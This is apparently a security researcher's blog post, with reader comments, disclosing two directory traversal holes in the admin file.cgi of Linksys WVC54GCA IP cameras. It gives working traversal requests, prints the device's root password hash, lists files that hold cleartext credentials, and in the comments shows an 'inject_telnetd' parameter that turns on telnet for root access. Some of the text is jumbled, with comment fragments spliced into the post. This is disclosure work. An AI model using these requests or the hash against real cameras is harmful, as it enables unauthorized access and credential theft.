Hacking Linksys IP Cameras (pt 3)
This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).
Unlike the previous two vulnerabilities I released, the vulnerabilities I'm releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else's camera.
Two directory traversal vulnerabilities
Today, instead of releasing just one vulnerability I'll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I'm hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!
Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program:
/adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected
1st directory traversal hole
It seems that the
next_file parameter is not filtered enough when submitted to
/adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (
/etc/passwd in this case):
/adm/file.cgi?next_file=%2fetc%2fpasswd /adm/file.cgi?next_file=%2fetc/passwd /adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd #### 2nd directory traversal hole In the case of the second directory traversal hole, the vulnerable parameter (`this_file`) is not filtered at all whatsoever. So hex-encoding special symbols is _not_ required: /adm/file.cgi?todo=pwnage&this_file=/etc/passwd The following is the content of the Linux `passwd` file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening `bin/busybox` with any of the vulnerabilities previously discussed. I'm curious to know if the `passwd` file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models: root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh
Notice that when exploiting the first vulnerability, we need to convert forward slashes to
%2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the
next_file parameter. In the third example, we also partially hex-encode
../ sequences in order to avoid being blocked by the script which results in a forbidden error.
Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I'm guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.
Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it's off by default. I haven't managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.
What can we do with these vulnerabilities?
Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:
/etc/passwd: traditional-DES-format password file with no salt
/usr/local/www/img/.htpasswd: HTTP credentials stored in cleartext
/usr/local/www/adm/.htpasswd: contains same data as previous file
/etc/system.conf: all camera settings stored in cleartext including admin password, wifi encryption key, etc ...
/usr/local/bin/thttpd.conf: web server config file confirming the daemon runs as root, which is the only system account present anyway
/etc/init.d/rcS: here we see the line that starts the telnet daemon (
/usr/sbin/telnetd) commented out
/etc/def_sys.conf: camera's default settings
/etc/system.conf: camera's current settings
/var/nc.log: network connections logs
/proc/cpuinfo: processor details
/proc/version: OS details
Finding a file upload vulnerability should allow us to overwrite the
/etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the
/etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven't discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I'd love to hear the details.
Directory traversal vuln #1 successfully tested on:
- Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)
Directory traversal vuln #2 successfully tested on:
- V1.00R24 (latest available as on 23rd April 2009)
Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.
Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the
/main.cgi program rather than
/etc/passwdfile shown in this post). This can be confirmed by retrieving the contents of
/usr/local/bin/thttpd.confusing any of the directory traversal vulnerabilities I just released. Notice the line containing
However, you're probably right that the filesystem is cramfs, which (as you said) would mean that a file upload vuln would NOT help getting our root shell. From http://en.wikipedia.org/wiki/Cramfs:
# This section overrides defaults dir=/usr/local/www #dir=/tmp/www user=root # default = nobody #logfile=/var/log/thttpd.log pidfile=/var/run/thttpd.pid cgipat=cgi|cfg|sdp|jpg # This section _documents_ defaults in effect # port=80 nosymlink # default = !chroot novhost # nocgipat # nothrottles # host=0.0.0.0 # charset=iso-8859-1
The file system is intentionally read-only to simplify its design
But not the pwd? What does John say? Greetings Bruno
telnet cam Trying xxx.xxx.xxx.xxx... Connected to cam. Escape character is '^]'. cam login: Login timed out after 60 seconds. Connection closed by foreign host.
you have to type in your admin account and pwd for cam-administration. You receive error:
in your Browser. Don't care about that and don't power down the cam. 3. try again the telnet connect from step 1
File (null) not found
Here you are and you are missing the root pwd. Every user can get the adm-pwd with your tips and every user can start the telnet demon after reading this. Nice feature. Login ist quite a problem.
telnet IP-OF-CAM Trying IP-OF-CAM... Connected to IP-OF-CAM. Escape character is '^]'. cam login:
$ curl -s --url "http://192.168.1.115/adm/file.cgi?todo=pwnage&this_file=file.cgi" -u admin:C4mP4ssw0rd | strings | grep -i telnet
Notice the last string returned ('inject_telnetd') which is the value that needs to be assigned to the 'todo' parameter in order to enable the telnet daemon. I'm guessing there must be a neat way to obtain all parameters processed by '/adm/file.cgi' by analyzing the binary. Using IDA Pro perhaps? the binary is of type 'ELF 32-bit LSB executable, ARM, version 1' if anyone wants to know
/usr/sbin/telnetd > /dev/null 2> /dev/null & <head><title>Open TelnetD</title></head> <body><p><b><font size=6>Open Telnet Daemon successfully!</font></b></p></body> inject_telnetd
$ file file.cgi file.cgi: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped